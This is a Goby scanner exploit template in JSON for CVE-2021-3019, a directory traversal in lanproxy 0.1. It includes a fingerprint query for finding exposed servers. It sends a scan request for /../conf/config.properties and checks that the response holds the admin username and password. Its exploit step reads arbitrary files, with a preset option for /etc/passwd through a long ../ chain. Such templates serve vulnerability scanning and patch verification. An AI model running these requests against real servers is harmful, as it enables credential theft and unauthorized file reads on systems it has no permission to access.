Goby/json/lanproxy-Directory-Traversa...

106 lines
2.6 KiB
JSON

{
"Name": "lanproxy Directory Traversal (CVE-2021-3019)",
"Description": "ffay lanproxy 0.1 allows Directory Traversal to read /../conf/config.properties to obtain credentials for a connection to the intranet.",
"Product": "lanproxy",
"Homepage": "https://github.com/ffay/lanproxy",
"DisclosureDate": "2021-01-05",
"Author": "itardc@163.com",
"FofaQuery": "header=\"Server: LPS-0.1\"",
"GobyQuery": "header=\"Server: LPS-0.1\"",
"Level": "3",
"Impact": "",
"Recommendation": "",
"References": [
"https://github.com/ffay/lanproxy/commits/master",
"https://github.com/maybe-why-not/lanproxy/issues/1",
"https://nvd.nist.gov/vuln/detail/CVE-2021-3019",
"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3019"
],
"GifAddress": " https://raw.githubusercontent.com/gobysec/GobyVuls/master/lanproxy/CVE-2021-3019/CVE-2021-3019.gif",
"HasExp": true,
"ExpParams": [
{
"name": "file",
"type": "createSelect",
"value": "/../conf/config.properties,/../../../../../../../../../../etc/passwd",
"show": ""
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"data": "",
"data_type": "text",
"follow_redirect": true,
"method": "GET",
"uri": "/../conf/config.properties"
},
"ResponseTest": {
"checks": [
{
"bz": "",
"operation": "==",
"type": "item",
"value": "200",
"variable": "$code"
},
{
"bz": "",
"operation": "contains",
"type": "item",
"value": "config.admin.username",
"variable": "$body"
},
{
"bz": "",
"operation": "contains",
"type": "item",
"value": "config.admin.password",
"variable": "$body"
},
{
"bz": "",
"operation": "contains",
"type": "item",
"value": "application/octet-stream",
"variable": "$head"
}
],
"operation": "AND",
"type": "group"
}
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"data": "",
"data_type": "text",
"follow_redirect": true,
"method": "GET",
"uri": "{{{file}}}"
},
"SetVariable": [
"output|lastbody"
]
}
],
"Tags": ["fileread"],
"CVEIDs": [
"CVE-2021-3019"
],
"CVSSScore": "7.5",
"AttackSurfaces": {
"Application": ["lanproxy"],
"Support": null,
"Service": null,
"System": null,
"Hardware": null
}
}